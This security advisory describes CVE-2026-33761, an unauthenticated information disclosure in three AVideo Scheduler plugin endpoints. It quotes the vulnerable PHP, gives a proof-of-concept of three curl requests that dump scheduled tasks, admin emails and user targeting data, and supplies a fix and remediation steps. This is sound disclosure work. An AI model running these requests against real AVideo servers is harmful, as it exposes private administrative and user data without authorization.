PHP
CVE-2026-33761
MEDIUM
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Three list.json.php endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (add.json.php, delete.json.php, index.php) requires User::isAdmin(). An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests.
Details
The vulnerable files are:
1. plugin/Scheduler/View/Scheduler_commands/list.json.php:1-7
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');
$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}2. plugin/Scheduler/View/Emails_messages/list.json.php:1-10
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Emails_messages.php';
header('Content-Type: application/json');
$rows = Emails_messages::getAll();
$total = Emails_messages::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}3. plugin/Scheduler/View/Email_to_user/list.json.php:1-10
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Email_to_user.php';
header('Content-Type: application/json');
$rows = Email_to_user::getAll();
$total = Email_to_user::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}None of these files check authentication before calling getAll(), which executes SELECT * FROM {table} and returns the entire table contents.
In contrast, every sibling endpoint requires admin access. For example, plugin/Scheduler/View/Scheduler_commands/add.json.php:12-15:
if(!User::isAdmin()){
$obj->msg = "You cant do this";
die(json_encode($obj));
}The Scheduler_commands table (defined in plugin/Scheduler/Objects/Scheduler_commands.php) stores fields including callbackURL (internal server URLs with query parameters), parameters (JSON blobs containing user IDs and email configuration), status, timezone, and cron scheduling fields. The Emails_messages table stores subject and message (full HTML email bodies composed by admins). The Email_to_user table maps users_id to emails_messages_id, revealing which users are targeted by which email campaigns.
PoC
# 1. Retrieve all scheduled tasks - exposes internal callbackURLs and parameters
curl -s 'https://target/plugin/Scheduler/View/Scheduler_commands/list.json.php' | jq '.data[] | {id, callbackURL, parameters, status, type}'
# 2. Retrieve all admin-composed email messages - exposes subject and HTML body
curl -s 'https://target/plugin/Scheduler/View/Emails_messages/list.json.php' | jq '.data[] | {id, subject, message}'
# 3. Retrieve user-to-email targeting mappings - reveals which users receive which emails
curl -s 'https://target/plugin/Scheduler/View/Email_to_user/list.json.php' | jq '.data[] | {users_id, emails_messages_id, sent_at}'All three return full database contents with no authentication required. No session cookie or token is needed.
Impact
An unauthenticated attacker can:
- Enumerate internal infrastructure:
callbackURLfields expose internal server URLs and query parameters used by the scheduler, potentially revealing internal API endpoints and their parameter structures - Read admin email campaigns: Full email subjects and HTML message bodies composed by administrators are exposed
- Map user targeting: The
Email_to_usertable reveals whichusers_idvalues are targeted by which email campaigns, enabling user enumeration and profiling - Gather reconnaissance: Scheduling configuration (cron fields, execution status, timezone) reveals operational patterns and timing of automated tasks
The information disclosed could be used to facilitate further attacks (e.g., using discovered internal URLs for SSRF, or user IDs for targeted account attacks).
Recommended Fix
Add User::isAdmin() checks to all three list.json.php files, matching the pattern used by sibling endpoints. For each file, add the following after the require_once lines and before the data retrieval:
plugin/Scheduler/View/Scheduler_commands/list.json.php:
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');
if(!User::isAdmin()){
die(json_encode(['error' => true, 'msg' => 'Not authorized']));
}
$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}Apply the same pattern to Emails_messages/list.json.php and Email_to_user/list.json.php.
AnalysisAI
Unauthenticated information disclosure in AVideo Scheduler plugin exposes internal infrastructure details, admin-composed email campaigns, and user targeting mappings through three unprotected list.json.php endpoints. Remote attackers without authentication can retrieve all scheduled task callbacks with internal URLs and parameters, complete email message bodies, and user-to-email relationships by issuing simple GET requests. A public proof-of-concept exists demonstrating the vulnerability; patch availability has been confirmed by the vendor.
Technical ContextAI
The AVideo Scheduler plugin (pkg:composer/wwbn_avideo) implements REST-like JSON endpoints for administrative task management. Three endpoints in the View layer (Scheduler_commands/list.json.php, Emails_messages/list.json.php, and Email_to_user/list.json.php) directly expose database query results without authentication checks, while sibling endpoints (add.json.php, delete.json.php) correctly implement User::isAdmin() authorization. The vulnerability stems from CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) - the code unconditionally calls getAll() methods that execute SELECT * queries against tables containing operational secrets (callback URLs with parameters), administrative content (email HTML bodies), and relational mappings (user targeting data). The lack of access control is inconsistent with the plugin's other endpoints, indicating this is a configuration or code review oversight rather than a deliberate design choice.
RemediationAI
Apply the vendor-released patch from commit 83390ab1fa8dca2de3f8fa76116a126428405431 or update AVideo to the next stable release containing this fix. The patch adds User::isAdmin() authentication checks to all three vulnerable list.json.php endpoints, matching the authorization pattern used by sibling endpoints in the same plugin. Until patching is possible, restrict network access to the Scheduler plugin View directories (/plugin/Scheduler/View/) via web server configuration or reverse proxy rules, or implement rate limiting and request filtering to detect anomalous bulk data retrieval patterns. Monitor access logs for GET requests to the three vulnerable endpoints for evidence of exploitation. No workaround completely replaces patching due to the trivial nature of the exploit.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today